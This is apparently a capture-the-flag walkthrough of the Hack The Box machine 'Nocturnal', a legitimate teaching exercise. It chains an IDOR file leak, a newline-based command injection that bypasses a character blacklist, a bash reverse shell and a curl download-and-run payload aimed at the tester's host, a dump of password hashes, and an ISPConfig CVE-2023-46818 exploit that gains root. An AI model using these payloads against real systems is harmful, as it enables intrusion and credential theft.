Introduction #
Nocturnal starts with a website with an IDOR vulnerability that allows me to read other user’s files, get his password and log to admin panel. Inside the admin panel, there is a command injection vulnerability that will get me a foothold. For root, there is an instance of ISPConfig service with a PHP code injection vulnerability to get execution and a shell as root.
Recon #
nmap #
nmap finds two open TCP ports, 22 (SSH) and 80 (HTTP):
sudo nmap -sC -sV -oA nmap_scan/nmap_results 10.129.232.23
-sCfor defaults scripts-sVenumerate version-oAoutput in all formats
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-30 04:39 EDT
Nmap scan report for nocturnal.htb (10.129.232.23)
Host is up (0.035s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
| 256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_ 256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Welcome to Nocturnal
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.22 seconds
Added nocturnal.htb to /etc/hosts.
The re-scan did not get any more information. Note the PHPSESSID suggesting PHP website.
Website - TCP 80 #
The website is a simple storage site.

At the login page at /login.php has a form asking for username and password (common combinations like admin:admin did not work).
I can register a new user without any verification and log right in:

I can upload files here. When testing with a random image I get this error:

After creating a sample .docx file and uploading it I see this:

When downloading the test file I intercepted the request:

The request has simple username and file parameters. That is weird, let’s see what happens when I play with them.
When changing the file parameter I get new error message:

File does not exist. with a list of available files.
When changing the username parameter I get:

User not found.
This tells me there is a potential IDOR vulnerability. Could I maybe download other user’s files?
Let’s create another account and test that.

So now I have:
| User | File |
|---|---|
| tester | tester.docx |
| tester2 | tester2.docx |
Attempting to download other user’s file returns the File does not exist. error with a list on that user’s files.


Enumerate users #
Thanks to that User not found. error message I saw before I can use ffuf to enumerate users.
ffuf -u 'http://nocturnal.htb/view.php?username=FUZZ&file=tester.docx' -b 'PHPSESSID=7mv10ent7fghr03ibk2j3s8psa' -w /usr/share/seclists/Usernames/Names/names.txt -fr 'User not found'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://nocturnal.htb/view.php?username=FUZZ&file=tester.docx
:: Wordlist : FUZZ: /usr/share/seclists/Usernames/Names/names.txt
:: Header : Cookie: PHPSESSID=7mv10ent7fghr03ibk2j3s8psa
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Regexp: User not found
________________________________________________
admin [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 35ms]
amanda [Status: 200, Size: 3113, Words: 1175, Lines: 129, Duration: 29ms]
tobias [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 28ms]
:: Progress: [10177/10177] :: Job [1/1] :: 371 req/sec :: Duration: [0:00:23] :: Errors: 0 ::
This returns me 3 new accounts.
I can take a look if there are any files on any of these accounts.
Tobias and admin were empty but Amanda had privacy.odt:

If I visit /view.php?username=amanda&file=privacy.odt it will give me the file.
It is a welcome letter with a plaintext password:

Admin Panel #
With the discovered password I can log in as Amanda and see she has access to the Admin Panel:


The Admin Panel has a functionality to create backups, simply by entering password and clicking the “Create Backup” button.

The output I see looks like a zip command, so possible command injection vector.
Backup files #
Looking at the backup
└─$ unzip backup_2025-11-02.zip
Archive: backup_2025-11-02.zip
[backup_2025-11-02.zip] admin.php password:
inflating: admin.php
creating: uploads/
inflating: uploads/privacy.odt
extracting: uploads/tester2.docx
extracting: uploads/tester.docx
inflating: register.php
inflating: login.php
inflating: dashboard.php
inflating: index.php
inflating: view.php
inflating: logout.php
inflating: style.css
especially the admin.php - there is the zip command:
<?php
if (isset($_POST['backup']) && !empty($_POST['password'])) {
$password = cleanEntry($_POST['password']);
$backupFile = "backups/backup_" . date('Y-m-d') . ".zip";
if ($password === false) {
echo "<div class='error-message'>Error: Try another password.</div>";
} else {
$logFile = '/tmp/backup_' . uniqid() . '.log';
$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &";
$descriptor_spec = [
0 => ["pipe", "r"], // stdin
1 => ["file", $logFile, "w"], // stdout
2 => ["file", $logFile, "w"], // stderr
];
$process = proc_open($command, $descriptor_spec, $pipes);
if (is_resource($process)) {
proc_close($process);
}
sleep(2);
$logContents = file_get_contents($logFile);
if (strpos($logContents, 'zip error') === false) {
echo "<div class='backup-success'>";
echo "<p>Backup created successfully.</p>";
echo "<a href='" . htmlspecialchars($backupFile) . "' class='download-button' download>Download Backup</a>";
echo "<h3>Output:</h3><pre>" . htmlspecialchars($logContents) . "</pre>";
echo "</div>";
} else {
echo "<div class='error-message'>Error creating the backup.</div>";
}
unlink($logFile);
}
}
?>
It is running the POST request parameters through the cleanEntry function, which removes most of the special characters and building a string from the sanitized output.
function cleanEntry($entry) {
$blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];
foreach ($blacklist_chars as $char) {
if (strpos($entry, $char) !== false) {
return false; // Malicious input detected
}
}
return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}
Command Injection #
The cleanEntry function is a good start, but it is missing one very special character, \n. A new line will create a new command in the proc_open.
I can use it in the $password string and see what happen.
When I go with password=test%0aid%0a, which should be interpreted as:
zip -x './backups/*' -r -P test
id
I get a Permission denied the same with other basic commands.
%0a is URL encoded new line

That is not what I expected and not the usual bash behavior. I tried it with bash -c giving me the final password:
password=test%0abash%09-c%09"id"%0a
bash -c I can not use space as it gets filtered by cleanEntry, but can use %09 - URL encoded tab
Leaving me with:
zip -x './backups/*' -r -P test
bash -c "id"

Shell #
Now when I got it working I can send a reverse shell.
I can not go with a bash reverse shell directly, because & is blocked, but I can create a shell.sh on my machine:
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.73/4444 0>&1
Create a http server and download it to the box and run it using:
password=test%0abash%09-c%09"curl%09http://10.10.14.73:8000/shell.sh%09-o%09shell.sh"%09bash%09shell.sh

With that I get a shell at my listener:
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.73] from (UNKNOWN) [10.129.38.179] 60368
bash: cannot set terminal process group (1035): Inappropriate ioctl for device
bash: no job control in this shell
www-data@nocturnal:~/nocturnal.htb$
In /var/www/nocturnal_database there is a nocturnal_database.db file:
www-data@nocturnal:~/nocturnal_database$ ls
ls
nocturnal_database.db
www-data@nocturnal:~/nocturnal_database$ sqlite3 nocturnal_database.db
Looking inside I can get all password hashes for users on the site:
sqlite3 nocturnal_database.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
.tables
uploads users
sqlite> select * from users;
select * from users;
1|admin|d725aeba143f575736b07e045d8ceebb
2|amanda|df8b20aa0c935023f99ea58358fb63c4
4|tobias|55c82b1ccd55ab219b3b109b07d5061d
6|kavi|f38cde1654b39fea2bd4f72f1ae4cdda
7|e0Al5|101ad4543a96a7fd84908fd0d802e7db
8|tester|f5d1278e8109edd94e1e4197e04873b9
9|tester2|2e9fcf8e3df4d415c96bcf288d5ca4ba
sqlite>
Using crackstation I got password for tobias

SSH as Tobias #
Using this password I can SSH in and take a look around.
Tobias can not run sudo
tobias@nocturnal:~$ sudo -l
[sudo] password for tobias:
Sorry, user tobias may not run sudo on nocturnal.
and there is nothing interesting in his files, looking at listening ports I see something that might help:
tobias@nocturnal:~$ netstat -ltn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:587 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp6 0 0 :::22 :::* LISTEN
Port 8080 is active, but it was not on the nmap scan.
tobias@nocturnal:~$ ps auxww | grep 8080
root 1025 0.0 0.6 211568 27220 ? Ss 10:50 0:00 /usr/bin/php -S 127.0.0.1:8080
tobias 2231 0.0 0.0 6432 660 pts/1 S+ 12:18 0:00 grep --color=auto 8080
There is a PHP process runnig at 127.0.0.1:8080.
ISPConfig #
I can use the SSH connection to port forward:
ssh -L [local_port]:[destination_address]:[destination_port] [username]@[ssh_server]
ssh -L 8081:localhost:8080 tobias@10.129.232.23
Now on visiting http://127.0.0.1:8081 in my browser, the ISPConfig login page loads:

I try to log in as tobias, but fail. But his password works for the admin account:

I can identify the version:

And find there is a CVE, with PoC, for the running version.

I can use that to get root:
└─$ python3 CVE-2023-46818/CVE-2023-46818.py http://127.0.0.1:8081 admin slowmotionapocalypse
[+] Logging in with username 'admin' and password 'slowmotionapocalypse'
[+] Login successful!
[+] Fetching CSRF tokens...
[+] CSRF ID: language_edit_cdf892d010efb66ed54bc2fd
[+] CSRF Key: 4e64a8f4eca6465e0bf4c40147f45e4caa5815dd
[+] Injecting shell payload...
[+] Shell written to: http://127.0.0.1:8081/admin/sh.php
[+] Launching shell...
ispconfig-shell# id
uid=0(root) gid=0(root) groups=0(root)
ispconfig-shell#
All that remains is to grab the flag:
ispconfig-shell# cat /root/root.txt
a2e01f******************223